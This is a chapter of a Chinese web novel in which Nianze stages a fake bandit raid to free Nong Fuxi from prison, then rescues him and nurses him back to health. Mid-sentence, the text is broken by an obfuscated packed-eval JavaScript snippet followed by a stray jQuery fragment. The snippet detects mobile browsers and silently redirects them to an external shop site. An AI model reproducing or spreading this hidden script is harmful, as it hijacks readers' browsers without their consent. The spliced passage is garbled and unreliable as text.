文趣网 > 其他小说 > 天绛 > 7. 智渡危郎
    “小棠,你去查一下,这段时间并州都有什么大事件,最好要人尽皆知的那种。”

    后山大片的土地已经被推平了,念泽得了大娘的许可,开始建造园子。

    “以小河为界,南面种玉兰和海棠,侧边种几排紫竹就行,孔隙大的角落再随便插点什么。北面的土地都种菜,这个时节宜种什么就种什么。哦,注意疏密排布,搭几座观景小亭。大致先这样安排,等工匠来了再说。”

    小棠听她的话办事去了。她自己一个人在后山监工。

    “姑娘请留步!”

    她听见一个陌生的声音,停住脚步,回头看是谁在嚷嚷。

    “你是何人?”

    “小人叫陈石头,家住西市保康门内、青龙桥畔第四家。平日常接庄上的活儿,也在本州各工地走动,姑娘可能没见过我。小人别的本事没有,和泥、垒砖、抹墙、修路是一把好手。有幸知道了姑娘想要修一个园子,特来自荐。”

    “自荐?”

    陈石头身量瘦小,哈着腰说话,裹着一身洗得发白的青灰色直裰,衣领、袖口都磨得泛毛。

    见他拮据的样子,念泽心头一软,“到花厅去说吧。”

    陈石头毕恭毕敬站在厅内,不敢斜眼多瞧。可他低着头,不叫旁人看见那双锐利的眸子滴溜溜打转。

    “姑娘可以打听打听,小人做过不少修整土坡、街墙的活儿,做事包细致的。”

    “你想要接这个活儿,可我觉得你心不诚。”

    念泽在案上不慌不忙地试写后园匾额要提的字“弋园”,话音落下才抬眼看他,眼神不飘不闪,定力十足。

    张石头慌了神,一时不知道说什么,腰弯得更低了。

    “你知道我做这个园子,会给小工小吏丰厚的俸禄,不然你也不会不去杨主簿那里做工,跑到我这儿来。”

    “我家和杨主簿也不熟的,哪儿敢指望。姑娘心善,修园子是次,救济小工为先,是想给大伙一份活儿干吧。”

    “你倒聪明。”

    “周遭的小工都跟着我学徒呐,只有我碗里有肉,才能让底下人分一杯羹啊,姑娘。”

    他的确涎皮赖脸,但有什么办法。虽说不喜,却好像没有比答应他做事更好的选择了。

    陈石头高高兴兴地走了。

    她看着众人勤勉,账目清晰,山庄百事井然的样子,不由愉悦发叹:“岁迷,你在天上一定想不到有一天你念泽姐姐还会拾起统辖管理的本事。”

    当天,小棠气喘吁吁跑去回话。

    “姑娘,我查到了。并州最近没有大变故,只是乡下有马匪出没,闹得还挺大的。”

    “马匪。好,就这个。”

    “啊?”小棠不解。

    并州大牢里,管事的人鼾声震天,正是后半夜狱卒们最困的时候。

    城外马蹄声由远及近地传来,那马蹄声急,像是直奔天牢来的。

    “都别打瞌睡啦!上头让我们调一半人马去救人。又有马匪进村了。”

    “这该死的马匪!闹得哪一出啊?三天两头不消停了!”

    “马匪?”农复晞一直醒着,想起白天有吏长来送饭的时候,莫名递给他一套狱卒的衣服,现在就藏在草席枕头下面。

    “都愣着干什么!”牢头披好衣服,冲过来大喊:“上头让调人。快,能动的都跟我走!吏长带头,快点儿!”

    牢里乱成一锅粥,但外面兵卒仍然是严防死守,一切动作都在看守者眼皮子底下,逃出去简直难如登天。

    农复晞记得那人叮嘱他的话:“我是念姑娘的人,你大可放心。我现在给你解了镣铐上的锁。出去之后,往右边走,有个水沟直接跳下去,那是通到氿州城外渡口的。千万不要被发现了,切记!”

    “念姑娘?难道是她?”

    他迅速换上狱卒的衣服,排在狱卒队伍里出了天牢。

    他沉没在幽蓝的深处,长发散开如墨,缓缓穿过冰凉的水域。他用尽全身所剩无多的力气朝着有光的地方拼命游出去。可是,他感到一阵不妙,越游越深,就快要沉下去。

    水中有一股强大的动力朝向他,隐隐浮现出一个人的轮廓。

    没错,有人在水压之下,正卖力地游向他,抓紧并拉起他的衣角,往上拖拽。

    庄上壮汉早早等在码头交接。

    几个人听到动静,互相询问:“是他们两个吗?”

    “应该吧。”

    “快了,快了。”

    两个人从水里冒出头,几个人用力把他们二人拉上码头,“话不多说,快上船!”

    众人把他搬进船舱,船身随水摇晃。遥望过去,小小的船身驶在江面上。

    “念姑娘,江上风小,水劲不足,这船最快也要三日到氿州。”

    “没事,稳着点行驶就好。”

    船内,农复晞已然昏厥过去。

    “醒醒!醒醒!”念泽用力拍打农复晞的胸脯、面庞,仍然毫无反应。探他的鼻息,还好,微弱的气息尚存。

    念泽给他施了几针,替他换了湿衣。

    “怎么伤成这样,还好带了工具。”她顾不上自己湿衣湿发的模样,通好穴位要紧。

    江面辽阔,几乎没什么同行的船。但一有风吹草动,大家都提心吊胆,无人不警觉。

    回到宁平县,曹大娘立马吩咐知根知底的庄里人,把他悄悄抬进弋园。

    “大夫,务必要救活他啊。”

    “他受伤之后,已经出现了晕症。不过放心,他只是气机逆乱,一时昏厥,没有性命之忧。”

    “有劳大夫了。”

    念泽日日在弋园照料他,用大娘送的名贵药材来疗养。

    “一切都稳定下来了。”

    念泽伏在榻边,歪着头凝视。

    “还没有仔细看过他的脸。”趁他昏迷,倒是可以细细观赏他。

    他穿着白色里衣,松松垮垮的,裹住消瘦的身形。领口微敞,露出泛红的锁骨。

    他双目紧闭,脸色白得几乎透明。两缕乌黑的头发垂在脸庞,呼吸又轻又浅。

    和初次见他时容光焕发的模样简直天差地别。牢狱之刑,足以把命中的弱症带出来。

    “如此病弱,真是一副惹人怜惜的样子。”

    软榻上,农复晞迷迷糊糊被灌了不少苦药下去。迷离睁眼,见她翩然离去的背影,似仙人之姿。

    农复晞初醒,就急着起来。

    “你别动了!我可是救了你两次,眼下你伤势未好,老实呆在这弋园里,哪儿也不许去。”

    见她好大的脾气,于是动也不敢动了。

    “你把我从牢里救出来,就不怕引火烧身?你可知要置我于死地的是什么人?”

    “自然知道。那个李代在并州只手遮天,不过在我看来,实在算不上一号人物。”

    “我以为我够自负了,姑娘你……”

    “他草芥人命,如捏死一只蚂蚁一样简单,我们这种平民自然应该忌惮了。我只是觉得你不该就这么死了,我想看看你从底层出发,能做出什么丰功伟绩来。”

    “姑娘也对天下局势感兴趣?”

    “各方势力此起彼伏,我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887340|212597||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谈不上关心吧。整个赤县神州不过是几百年太平、几百年乱世交叠变幻而已。护好自己,守住本心,要是能有幸见一眼下一个太平盛世,那当然再好不过了。”

    “你想得好通透啊。”

    他突然想到了什么,“姑娘大义,在下谢……”

    话未讲完,咳嗽不止。

    “莫要多说,先看伤势。”

    “弋园……”农复晞心想,后山还开了个园子?他撑着身体,观望一眼四周环境。

    “怎么了?”

    “姑娘雅趣,乱世之中竟有姑娘妙手,开出一片与世隔绝的后山园景来。我看这里种下不少植株,等到明年春天,一定是一番绚烂景象。”

    “哪里有什么闲情逸致,算是费些脑筋,想出这么个巧活来,给庄里庄外的贫民一点出路吧。”

    “弋园,请教姑娘为什么叫这个名字?”

    “我之前住的地方和‘弋园’读音相似,偷个懒罢了。”

    “跟着我的那些兵卒们知道我在这里吗?他们……咳咳。”

    “你别激动,他们知道你在这里。已经安排他们在客栈住下了。”

    “你想得真周到。”

    “你最近不方便见他们。”

    小棠敲门进来,“大娘让我来送药膳的。”

    “你把这药膳吃了,大娘熬了好久的。”念泽接过来。

    看他并不知大娘是谁,解释道:“曹大娘是这个山庄的主人,她有时候力不从心,我替她管管庄子、看看账册什么的,也是她默许我把你带回来的。”

    他坐起身,轻轻鞠了一躬,“替我谢谢曹大娘。”

    “嗯。我也不太会照顾人。你快吃吧,别凉了。”

    念泽转身要走,他忽然叫住她。

    “念姑娘。”

    听到这三个字,她心里泛起一股奇异的酥酥麻麻的感受。

    “我这个样子,少不得在你这里叨扰一段时日。我还不知道姑娘你叫什么呢。”

    与其说他是好奇,倒不如说他的话语里带着一份渴求。

    直勾勾的眼神就这么盯着自己,她有点不好意思了。

    “念泽。以念润泽天下的意思。”

    “马匪”出没那天夜里,并州府衙出动了那么多人马,结果只抓到五六个毛贼,换回牛家庄几头被牵走的牛羊。

    天牢里面被调去的一批人垂头丧气地歇在牛家庄。

    “牢头,看那里!”

    一群人凑过去,乡下平原的空地上有好几个火堆架在那里,围成一个三角形。

    余烟袅袅,飘在黑漆漆的夜里,用火把一照,仍是丝丝缕缕,没有散尽。

    干草被烧得只剩灰烬,燃烬的木栅栏还冒出一点火星子。

    “火堆?”

    “咱们上头的人不会被骗了吧。”

    “别多嘴,不关咱的事!”牢头啐了一口,

    “什么东西?赶紧走。”

    天牢里,各自按部就班干活。

    到了饭点,小卒如常垂头丧脑,一排一排地送饭。

    接到碗的囚犯们个个赔脸道谢,妄想能下顿吃点好东西。

    小吏到农复晞的牢房门口,“喂,别窝在墙角,来拿饭,还吃不吃了?”

    见他躺在那里不动,劳作时积下的怨气瞬间找到了发泄口:“大白天的装死给谁看?起来拿饭!”

    见势不对,小吏打开门锁,将他翻过身来。

    竟然是一个穿着囚服的草堆!

    “不得了,出大事了。”

    那小吏吓得不轻,“老大!”